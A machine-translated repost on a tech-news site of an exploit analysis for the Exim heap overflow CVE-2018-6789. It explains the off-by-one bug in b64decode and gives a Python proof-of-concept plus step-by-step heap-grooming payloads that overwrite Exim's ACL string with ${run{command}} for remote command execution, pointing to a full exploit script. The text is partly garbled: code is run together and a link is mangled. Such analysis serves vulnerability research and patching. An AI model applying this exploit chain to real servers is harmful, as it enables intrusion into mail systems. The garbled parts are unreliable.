Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to analyze Exim Off-by-One RCE vulnerability exploitation

2025-01-16 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

Today, I will talk to you about how to carry out Exim Off-by-One RCE exploit analysis. Many people may not know much about it. In order to let everyone know more, Xiaobian summarized the following contents for everyone. I hope everyone can gain something according to this article.

In February 2018, the popular open source mail server Exim was exposed to a heap overflow vulnerability (CVE-2018-6789) that affected almost all versions prior to 4.90.1.

The discoverer of the vulnerability, Taiwan security researcher Meh, provided ideas for exploiting the vulnerability for remote code execution on his blog, and also indicated in Twitter that he finally bypassed various mitigation measures to successfully achieve remote code execution:

Meh has not disclosed the exploit code so far. Skysider, a security researcher at Huawei Anti-virus Lab, successfully implemented remote command execution in an experimental environment based on Meh's ideas. Please visit https://www.example.com for the relevant vulnerability environment and exploit code. github.com/skysider/VulnPOC/tree/master/CVE-2018-6789

1. cause of vulnerability

The cause of the vulnerability is that the b64decode function may overflow a byte on the heap when decoding irregular base64 encoded data, which is a more classic off-by-one vulnerability.

Part of the code for the vulnerable b64decode function is as follows:

b64decode(const uschar *code, uschar **ptr){int x, y;uschar *result = store_get(3*(Ustrlen(code)/4) + 1);*ptr = result;/* Each cycle of the loop handles a quantum of 4 input bytes. For the lastquantum this may decode to 1, 2, or 3 output bytes. */ ......}

The logic of decoding base64 is to decode 4 bytes into 3 bytes, but when the last 3 bytes (i.e. len(code)= 4n +3) are decoded into 2 bytes, the total decoded length is 3n +2 bytes, and the allocated heap space is 3n +1, so heap overflow occurs. Of course, the official repair plan is also very simple, a few more bytes can be allocated.

2. environment construction

The exim version of the vulnerability test in Meh blog is installed directly through apt, but since debian officials have fixed the exim vulnerability in the repository, you can confirm it by checking the patch information of the package source code:

root@skysider:~/poc/exim4-4.86.2# apt-get source exim4...... dpkg-source: info: applying 93_CVE-2017-1000368.patchdpkg-source: info: applying fix_smtp_banner.patchdpkg-source: info: applying CVE-2016-9963.patchdpkg-source: info: applying CVE-2018-6789.patch

We chose to download earlier versions of the source code for compilation and installation:

sudo apt-get build-dep exim4wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz

In the compilation process to install some dependent libraries, but also need to modify Makefile, new users, configuration log file permissions, etc., you can refer to the Dockerfile installation process.

exim can specify configuration files at runtime. In order to trigger vulnerabilities and command execution, you need to configure CRAM-MD5 authenticator and set acl_smtp_mail, etc. The configuration files are as follows:

acl_smtp_mail=acl_check_mailacl_smtp_data=acl_check_databegin aclacl_check_mail: .ifdef CHECK_MAIL_HELO_ISSUED deny message = no HELO given before MAIL command condition = ${if def:sender_helo_name {no}{yes}} .endif acceptacl_check_data: acceptbegin authenticatorsfixed_cram: driver = cram_md5 public_name = CRAM-MD5 server_secret = ${if eq{$auth2}{ph20}{secret}fail} server_set_id = $auth2

Start exim service in debug mode:

exim -bd -d-receive -C conf.conf

You can also use docker directly to verify the vulnerability (the above command is the default startup command):

docker run -it --name exim -p 25:25 skysider/vulndocker:cve-2018-67893. vulnerability testing

We use a simple poc to trigger the vulnerability, the poc code is as follows:

#!/ usr/bin/python# -*- coding: utf-8 -*-import smtplibfrom base64 import b64encodeprint "this poc is tested in exim 4.89 x64 bit with cram-md5 authenticators"ip_address = raw_input("input ip address: ")s = smtplib.SMTP(ip_address)#s.set_debuglevel(1)# 1. put a huge chunk into unsorted bin s.ehlo("mmmm"+"b"*0x1500) # 0x2020# 2. send base64 data and trigger off-by-one#raw_input("overwrite one byte of next chunk")s.docmd("AUTH CRAM-MD5")payload = "d"*(0x2008-1)try:s.docmd(b64encode(payload)+b64encode('\xf1\xf1')[:-1])s.quit()except smtplib.SMTPServerDisconnected:print "[!] exim server seems to be vulnerable to CVE-2018-6789. "

When this code is executed, a memory error is triggered

During this process, the main changes in the heap are as follows:

We can look at the heap before the error, attach to the child process, and the following is the heap after sending the ehlo message:

After sending the Auth data, we can look at the heap after executing the b64decode function:

The circled two bytes are the last two bytes decoded from the Auth data we sent. The last byte, 0xf1, modifies the size of the next block so that it should be 0x4040.(0x6060 - 0x2020) becomes 0x40 f0, it can be confirmed that the free block size of the current unsorted bin is modified by looking at the next heap block immediately next to this free block, so when space is allocated from this free block, The malloc function checks whether the free block size 0x40f0 (the lower 3 bits of the low byte are flag bits) is equal to the heap block size 0x4040 immediately preceding the next heap block tag, and if not, a memory error is triggered.

4. Exim memory management mechanism

Exim implements its own method of managing heap blocks based on the heap management mechanism provided by libc, introducing the concepts of store pool and store block. A store pool is a single-linked list structure. Each node is a store block. The data size of each store block is at least 0x2000. The structure of a storeblock is as follows:

/* Structure describing the beginning of each big block. */typedef struct storeblock { struct storeblock *next; size_t length;} storeblock;

The following figure shows the complete data storage method of a storepool, chainbase is the head node, pointing to the first storeblock, and current_block is the tail node, pointing to the last node in the list. store_last_get points to the last allocated space in the current_block, next_yield points to the starting position of the next allocated space, and yield_length indicates the number of bytes remaining in the current store_block. When the number of bytes remaining in the current_block (yield_length) is less than the number of bytes requested, malloc is called to allocate a new storeblock and then allocate the required space from that storeblock. More information about exim memory management mechanisms can be found at store.c.

5. exploitability of the vulnerability in relation to

The overall exploit idea refers to the blog of vulnerability discoverer Meh, and achieves the purpose of remote command execution by overwriting the acl string as ${run{command}}. Because different configurations and startup parameters can cause differences in stack layout during startup of the exim service, this exploit script is tested only in a given environment.

Here are the detailed steps to exploit the vulnerability:

5.1 Send ehlo, layout heap space ehlo(s, "a"* 0x1000) #0x2020 ehlo(s, "a"* 0x20)

Form a free heap block of size 0x7040

5.2 Send unknown command (contains non-printable characters)

Allocating memory space from unsorted bin

docmd(s, "\xee"*0x700)

The size of the unknown command sent should satisfy yield_length < (length + nonprintcount * 3 + 1), so that the unknown command sent can call the malloc function to assign a new storeblock.

5.3 Send ehlo message Reclaim unknown command allocated space ehlo(s, "c"* 0x2c 00)

When reclaiming the memory space occupied by unknown command, since the memory space occupied by sender_host_name has been released, merging will occur to form a free block with size of 0x2050.

5.4 Send Auth data to trigger vulnerability, modify the size of the heap block where ehlo information is located payload = "d"*(0x2020 + 0x30 - 0x18 -1) docmd(s, b64encode(payload)+b64encode("\xf1\xf1")[:-1])5.5 Send Auth data to forge the block header information of the next block, bypassing the memory check when releasing the heap block where sender_host_name is located payload2 = 'm'* 0x70 +p64(0x1f41) # modify fake sizedocmd(s, b64encode(payload2))

5.6 Free sender_host_name heap block

At the same time, in order not to release other storeblocks, send messages containing invalid characters

ehlo(s, "skysider+")5.7 Send Auth data

Modify the next pointer of the overlapped storeblock to point to the storeblock of the acl string

payload3 = 'a'*0x2bf0 + p64(0) + p64(0x2021) + p8(0x80)try_addr = p16(try_addr*0x10+4) # to changedocmd(s, b64encode(payload3)+b64encode(try_addr)[:-1])

Due to address randomization, the high byte of the storeblock where acl is located is unknown (in docker environment, the low 12 bits are 0x480 unchanged), but the high byte of the storeblock pointed to by the original next pointer is the same as that of the storeblock to be modified, only the low 3 bytes are different, so local overwrite can be used, and only 12 bits need to be exploded.

5.8 Send ehlo message to release all storeblockehlo(s, "released")

At this time, there are multiple free blocks in the unsorted bin table, as shown in the following figure, where the free block in the box is the storeblock containing acl.

5.9 override acl string payload4 = 'a'* 0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)payload4 += 't'*(0x1f80-len(payload4))auth(s, b64encode(payload4)+'ee')payload5 = "a"*0x78 + "${run{" + command + "}}\x00"auth(s, b64encode(payload5)+"ee")

After sending the first auth message, the unsorted bin table is shown below

Then when the appropriate space is allocated, you can get the heap block where the target storeblock is located and overwrite the acl string in it.

5.10 Trigger acl check s.sendline("MAIL FROM: ")

At this point, you can execute commands remotely. The complete exploit script is shown in exp.py, which has the following effect:

After reading the above, do you have any further understanding of how to perform Exim Off-by-One RCE exploit analysis? If you still want to know more knowledge or related content, please pay attention to the industry information channel, thank you for your support.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report